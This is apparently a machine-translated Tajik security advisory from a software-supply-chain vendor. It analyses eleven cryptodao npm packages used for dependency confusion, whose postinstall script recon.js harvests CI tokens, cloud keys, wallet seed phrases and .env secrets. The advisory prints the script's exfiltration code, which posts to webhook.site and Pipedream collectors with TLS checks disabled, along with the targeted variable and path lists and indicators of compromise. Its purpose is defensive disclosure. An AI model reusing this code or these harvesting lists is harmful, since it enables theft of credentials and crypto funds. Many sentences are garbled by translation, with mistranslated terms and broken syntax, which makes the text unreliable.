Нофаҳмиҳои CryptoDAO: ҷамъоварии бастаҳои npm CI/CD ва асрори криптовалюта

Нофаҳмиҳои CryptoDAO: ёздаҳ бастаи npm, як боркунӣ, ҷамъоварӣ CI/CD ва асрори ҳамёни криптовалюта

ХИБ; DR

Дар соли 2026-06-17, як ҳисоби ягонаи npm нашр шуд ёздаҳ баста, ки як мақсад ва як бори муштарак дорандДаҳ нафари онҳо инҳоро мебаранд. cryptodao- префикс (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ёздаҳум доираи васеъшуда аст @public-for-cdao/coreҲар яки онҳо дар версия нашр шудааст 99.99.99 ва як байт-якхеларо мефиристад recon.js ки идома дорад postinstall.

Номҳо маънои онро доранд. Онҳо мисли блокҳои дохилии занҷири абзорҳои хусусии лоиҳаи крипто/DAO хонда мешаванд. Дар феҳристи оммавии npm бо версияи сунъии баланд нашр шуда, онҳо дар интизори сохтани он менишинанд. pipeline ки барои ҳалли ин номҳо танзим шудааст ва ба npm-и оммавӣ пеш аз - ё ба ҷои - феҳристи хусусӣ мерасад. Ин аст нофаҳмиҳои вобастагӣ, ва бор барои он ки дар куҷо фуруд ояд, танзим карда мешавад: CI/CD ронандаҳо.

Кай postinstall сӯхторҳо, recon.js маълумоти мизбонро ҷамъ мекунад, бодиққат кофта мебарорад чил тағйирёбандаи муҳити абрӣ, CI ва криптоҳамён, ҳар гунаро мехонад .env файлҳоеро, ки он метавонад пайдо кунад ва хатҳои дорои махфиятро ҳатман интиқол медиҳад, сипас бастаро ба ду коллектор интиқол медиҳад — webhook.site ва нуқтаи ниҳоии Pipedream — бо тасдиқи сертификати TLS ғайрифаъол. Нусхаи он инчунин дар зери он навишта шудааст /tmp.

Ҷиддият: баландЭкосистемаи таъсиррасон: дандҲамаи ёздаҳ баста ҳангоми навиштани ин мақола фаъол буданд.

Анатомияи ҳамла

Механизм чор қисми ҳаракаткунанда дорад ва пас аз донистани он, ҳеҷ яке аз онҳо нозук нест як қабат пас аз номи баста нигоҳ кунед.

1. Таварруми версия ҳамчун дом барои ҳалкунанда. Ҳар як баста версияро эълон мекунад 99.99.99Нофаҳмиҳои вобастагӣ вақте кор мекунанд, ки мудири бастаҳо дархости ...-ро пешниҳод кунад. номи дохилӣ, инчунин феҳристи оммавиро тафтиш мекунад ва версияи баландтарини онро интихоб мекунад ёфтан. Интихоби пешфарзии npm барои диапазони карет ё аломати ваҳшӣ ин аст версияи қаноатбахштарин дар ҳар як манбаи танзимшуда; агар ҳарду хусусӣ бошанд Ҳангоми посух додан ба феҳрист ва ҷавоби npm-и оммавӣ барои ҳамон ном, рақами версияи калонтар ғолиб меояд. A 99.99.99 аз ҳама гуна версияи воқеии дохилии лоиҳа бартарӣ дорад расид, бинобар ин ҳалкунандае, ки ба манбаи хусусӣ пайваст нашудааст, онро афзалтар медонад нусхаи оммавӣ — ва дар ин ҳолат, нусхаи душманона. Оператор лозим нест, ки донад рақамҳои версияи воқеии ҳадаф; интихоби ҳадди аксар бемаънӣ баробарӣ ҳамеша кафолат медиҳад роҳи онҳоро мешиканад.

2. Триггери пас аз насбкунӣ. бастаи.json бори фоидаоварро ба насб пайваст мекунад гардиши айём:

{   "scripts": { "postinstall": "node recon.js" } }

Воридоти баста лозим нест. Танҳо насб кардани он - ки CI аст pipeline ба таври худкор иҷро мекунад - иҷро мешавад recon.js.

3. Тафтиши васеи махфӣ. recon.js массиви натиҷаҳоро дар марҳилаҳо ҷамъ мекунад:

  • Контексти мизбон: номи мизбон, платформа ва версия, меъморӣ, корбарии корбар, корӣ феҳристи.
  • Тағйирёбандаҳои муҳити зист: он рӯйхати муқарраршудаи тақрибан чил ном ва сабтро такрор мекунад ҳама гуна муқарраршуда. Рӯйхат ошкоркунанда аст — он токенҳои CI-и умумиро ҷуфт мекунад (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) ва абр эътимоднома (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) бо асрори феҳрист ва контейнер (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) ва як кластери ба таври возеҳ бо таъми криптовалюта:  PRIVATE_KEY, Мнемоникӣ, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCАрзишҳои сабтшуда то 50 аломати аввал кӯтоҳ карда мешаванд.
  • .env файлҳо: он рӯйхати роҳҳоро месанҷад — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, ва .истеҳсолот/.рушд вариантҳо — ва барои ҳама гуна файле, ки вуҷуд дорад, он мундариҷаро ба сатрҳои мувофиқ филтр мекунад КАЛИД|МАХФӢ|ТОКЕН|ГУЗОРИШ|ХУСУСӢ|МНЕМОНИКА ва он сатрҳоро **пурра, бе бурида** ба натиҷаҳо тела медиҳад.
  • Контексти Build-host: он 20 вуруди аввалро номбар мекунад /сохта мешавад/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/ва /tmp/.

Рӯйхати роҳҳо ва рӯйхати тағйирёбандаҳо ба давандагони GitLab вазн карда шудаанд, ки ба он ишора мекунанд сарборӣ бевосита дар инфрасохтори CI-и худхоҳона, на дар таҳиягар ноутбук. Гурӯҳбандии рӯйхати ҳосил аз рӯи категория интиқоли мақсаднокро содда мегардонад:

категория Тағйирёбандаҳо / масирҳои расиданшуда
CI/CD шахсият ва ҷойгиркунӣ CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
абр AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Регистр ва контейнер NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Анборҳои маълумот DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Крипто / блокчейн PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Паёмнависӣ SLACK_TOKEN, DISCORD_TOKEN
Дар диск .env оила + /home/gitlab-runner/.env, /root/.env, /app/**/.env; рӯйхати феҳристҳо /builds/, /var/lib/gitlab-runner/

Кластерҳои крипто қисматест, ки инро аз сирри умумии CI фарқ мекунад. тозакунӣ: ибораҳои тухмии ҳамён ва калидҳои имзо танҳо дар муҳити а пайдо мешаванд лоиҳаи blockchain ва онҳо мустақиман ба он харита мекунанд криптодао-/имзо/шартномаҳо номгузории интиқолдиҳандагон.

4. Эксфилтратсияи дугона бо тасдиқ ғайрифаъол. Массиви ҷамъовардашуда ин аст силсилавӣ ва POST ба ду самт фиристода шуд:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

рад карданИҷозатнопазир: дурӯғ санҷиши сертификати TLS-ро барои содироти беруна ғайрифаъол мекунад зангҳо. Ҳамон маълумот дар stdout чоп карда мешавад (аз ин рӯ, он инчунин дар гузоришҳои корҳои CI ҷойгир мешавад) ва навишта шудааст ба /tmp/.npm_recon_ .jsonХатогиҳо хомӯшона фурӯ бурда мешаванд, бинобар ин Ирсоли ноком дар натиҷаи насб ягон нишонае аз як паём боқӣ намегузорад [бозёфт] насбшуда дар хати.

Шарҳи асосӣ дар файл онро ҳамчун "Иштибоҳи вобастагӣ" тавсиф мекунад. "Бори кашф." Кам кардани арзишҳои муҳити зист то 50 аломат дорад шакли исботи консепсия. Он чизе, ки онро аз маяки танҳо ҳузур мегузаронад, ин аст .env коркард: хатҳои махфӣ пурра фиристода мешаванд ва самтҳо ду коллекторҳои фаъол ва аз ҷониби ҳамлагар идорашаванда мебошанд, на танӯре, ки танҳо ҳисоб мешавад задааст.

Давомнокӣ

Намунаи нашр имзои як push-и скриптӣ аст, на ёздаҳ зеркашиҳои мустақил.

Вақт (UTC, 2026-06-17) ҳодиса
03:24:58 cryptodao-bot@99.99.99 нашр
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — варианти васеъшуда, ~24 дақиқа баъдтар

Дар давоми як тирезаи 29-сония даҳ баста, тақрибан як баста дар ҳар се сония, фиристода шуданд. Доираи васеъшуда @public-for-cdao/core тақрибан 24 дақиқа пас аз он пайравӣ кард - як сония конвенсияи номгузорӣ барои ҳамон як ҳадаф, агар лоиҳаи истеъмолкунанда ба он ишора кунад занҷири абзорҳои дохилӣ дар зери доираи муайян, на ҳамчун номҳои оддӣ.

Нишондиҳандаҳои созиш

Намуди нишондиҳандаи
Коллектив hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Коллектив hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Қалмоқро насб кунед postinstall: node recon.js
Файли партофташуда /tmp/.npm_recon_<timestamp>.json
Нишондиҳандаи чӯб [recon] <pkg>@<ver> installed on <hostname> (stdout дар гузоришҳои CI)
Рафтор rejectUnauthorized: false дар HTTPS-и содиротӣ ҳангоми насб
Пардохт recon.js, якхела дар ҳамаи ёздаҳ баста (як сохти муштарак)
Version 99.99.99 дар ҳар як баста
бастаҳои cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (ҳама 99.99.99)
ношир aduljune / aduljune@proton.me (почтаи электронӣ тасдиқ нашудааст, анбори манбаи пайвандшуда вуҷуд надорад)

 Атрибутсия ва рафтори мушоҳидашуда

Ҳама чиз дар бораи кластер ба як даст ишора мекунад. Ҳамаи ёздаҳ баста нашр шуданд аз ҷониби ҳисоби npm зулмот (aduljune@proton.me, суроғаи тасдиқнашуда бо рақами анбори сарчашмаи пайвандшуда), дар давоми 25 дақиқа, дар ҳамон вақт 99.99.99 версия, интиқол recon.js ки мундариҷаи онҳо дар ҳар як байт байт якхела аст баста (MD5 дар ҳамаи ёздаҳ нусхаи истихроҷшуда мувофиқат мекунад). Ин як бор аст ба рӯйхати номҳо мӯҳр зада шудааст, на истифодаи такрории рамзи мустақил.

Рӯйхати номҳо ҳадафи пешбинишударо муайян мекунад. криптодао-* ва cdao тавсиф кунед тарҳбандии модули хусусии лоиҳаи крипто/DAO ва рӯйхати ҷамъоварии бор оинаҳое, ки тахмин мезананд: дар баробари асрори умумии CI ва абрӣ, он махсусан даст дароз мекунад PRIVATE_KEY, Мнемоникӣ, SEED_PHRASE, ва Ethereum/BSC RPC ва калидҳои провайдер. .env роҳҳои ҷустуҷӯ ва рӯйхати директорияҳо GitLab-runner мебошанд мушаххас. Таъсири мушоҳидашаванда дар он аст, ки ҳар гуна pipeline фиреб хӯрда, инҳоро насб карданд номҳо токенҳои CI, калидҳои абрӣ ва диски худро интиқол медиҳанд .env асрорҳо - ва, барои лоиҳаи blockchain, маводи ҳамёни он - ба ду коллекторҳои тарафи сеюм.

Мо дар бораи он ки кӣ ҳисобро идора мекунад ё онҳо бо он чӣ нақша доштанд, иддао намекунем маълумот. Далелҳое, ки мустақилона истодаанд: номҳо ба як намуди мушаххас нигаронида шудаанд занҷири абзорҳои дохилӣ, бори муфид арзишҳои махфии воқеиро мехонад ва интиқол медиҳад ва инфрасохтор фаъол буд.

Таъсир, тамоюлҳо ва роҳнамоии ҳимоятгарон

Нофаҳмиҳои вобастагӣ самаранок боқӣ мемонад, зеро он аз рафтори ҳалкунанда истифода мебарад, на осебпазирӣ дар ҳама гуна баста. Интиқолдиҳанда дар ин ҷо ночиз аст — ёздаҳ қариб холӣ бастаҳо — аммо радиуси таркиш ҳар чӣ бошад pipeline хато npm-и оммавиро афзалтар медонад барои номи дохилӣ. Давандагони CI бадтарин ҷой барои ин аст: онҳо нигоҳ медоранд маҳз нишонаҳо ва .env файлҳо ин борро мехонанд ва онҳо насб мекунанд вобастагиҳо ба таври ғайриинтерактивӣ, бинобар ин пас аз насб кардан бе тамошои касе медавад.

Ин кластер инчунин ба намунае, ки мо пайваста мебинем, мувофиқат мекунад: борҳои боркаши вақти насб, ки мавҷуданд ҳамчун "таҳқиқот" ё "разведка" ҳангоми ҷамъоварии эътимодномаҳои воқеӣ. Нишона дар файл кореро, ки рамз дар иҷрокунанда анҷом медиҳад, тағйир намедиҳад. Ду интихоби тарроҳӣ нигоҳ медоранд фаъолияти ором: ҳар як амалиёти шабака ва системаи файлӣ дар як печонида шудааст коркардкунандаи истисно, ки хатогиҳоро рад мекунад, аз ин рӯ фиристодани масдудшуда ё файли гумшуда ягон натиҷаи ташхисӣ намедиҳад ва ягона чизе, ки чоп шудааст, як чизи безарар аст. [аз навсозӣ] … насб карда шудааст сатре, ки бо садои муқаррарии насб омехта мешавад. Истифодаи вебҳук.сайт ва Pipedream низ қулайии қасдан аст - ҳарду ройгонанд, хидматҳои сабти дархостро фавран таъмин мекунанд, аз ин рӯ оператор ба серверҳои ва маконҳои таъиноти худ дар гузоришҳои баромад ба номҳои оддии SaaS монанданд.

Иқтисодиёт он чизест, ки инро сазовори таваҷҷӯҳи ҳимоятгар мегардонад, ҳарчанд Рамзи интиқолдиҳанда оддӣ аст. Бақайдгирии ёздаҳ ном бефоида аст, сарборӣ як аст файл ёздаҳ маротиба нусхабардорӣ шудааст ва мудири бастаҳо тамоми иҷроишро анҷом медиҳад. нодуруст танзим карда шудааст pipeline ҳар ҷое, ки яке аз ин номҳоро истеъмол мекунад, барои тамоми он пардохт мекунад амалиёт.

Қадамҳои мушаххас барои ҳимоятгарон:

  • Доираи дохилиро ба феҳристи шахсии худ часпонед. npm-ро барои номҳои дохилӣ танзим кунед
     ва соҳаҳо танҳо бар зидди регистри шумо ҳал мешаванд (харитасозии регистрҳои .npmrc,
    ё проксие, ки ҳеҷ гоҳ ба npm-и оммавӣ барои фазоҳои номҳои моликият намегузарад). Номҳои доираи оммавии худро захира кунед, то каси дигар онҳоро сабти ном карда натавонад.
  • Commit lockfiles ва насб бо –ignore-scripts дар CI дар ҷое, ки имконпазир аст, ё маҷмӯи хурди вобастагиҳоеро, ки воқеан ба скриптҳои насб ниёз доранд, тафтиш кунед.  recon.js наметавонад иҷро шавад, агар пас аз насб кардан иҷро карда намешавад.
  • Ба номи дорои арзиши 99.99.99 (ё дигар версияи хеле баланд)-и номи дохилӣ муносибат кунед ҳамчун парчами сурх дар баррасии вобастагӣ ва мониторинги феҳрист.
  • Огоҳӣ дар бораи баромадан аз вақти насб. A пас аз насб кардан ки HTTPS-и содиротиро мекушояд пайвастшавӣ — махсусан бо ғайрифаъол будани тасдиқи сертификат — ба webhook.site, Pipedream ё хидматҳои шабеҳи сабти дархостҳоро дар канори шабака масдуд кардан ва дар гузоришҳои сохтмон қайд кардан арзанда аст.
  • Барои ашёи бостонӣ шикор кунед. Давандагонро санҷед /tmp/.npm_recon_*.json ва барои [recon] … дар ... нишона дар гузоришҳои охирини CI насб карда шудааст. Агар пайдо шавад, ҳар як гардиш кунед эътимодномае, ки ба он дучор шудааст pipeline — Токенҳои CI, калидҳои абрӣ, токенҳои феҳрист ва ҳама гуна тухмиҳои ҳамён ё калидҳои махфӣ, ки дар муҳит ё файлҳои .env мавҷуданд.

Адабиёт

Дар замони навиштани ин мақола ягон гузориши беруна дар бораи ин кластер вуҷуд надошт; таҳлил дар боло мустақиман ба мундариҷаи нашршудаи баста асос ёфтааст

асбобҳои sca-tools-нармафзор-таҳлили таркиб
Хатарҳои нармафзори худро афзалият диҳед, ислоҳ кунед ва бехатар созед
Ҳисоби ройгони худро дастрас кунед.
Корти кредитӣ лозим нест.

Таҳия ва интиқоли нармафзори худро таъмин кунед

бо маҷмӯи маҳсулоти Xygeni